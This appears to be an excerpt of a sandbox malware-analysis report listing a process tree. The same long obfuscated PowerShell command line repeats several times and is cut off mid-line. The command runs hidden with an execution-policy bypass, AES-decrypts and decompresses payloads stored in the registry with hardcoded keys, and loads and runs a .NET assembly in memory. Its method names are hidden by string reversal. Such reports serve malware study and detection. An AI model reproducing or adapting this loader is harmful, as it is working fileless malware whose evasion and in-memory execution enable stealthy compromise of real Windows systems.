$cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:4064
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:7164
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:1460
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, 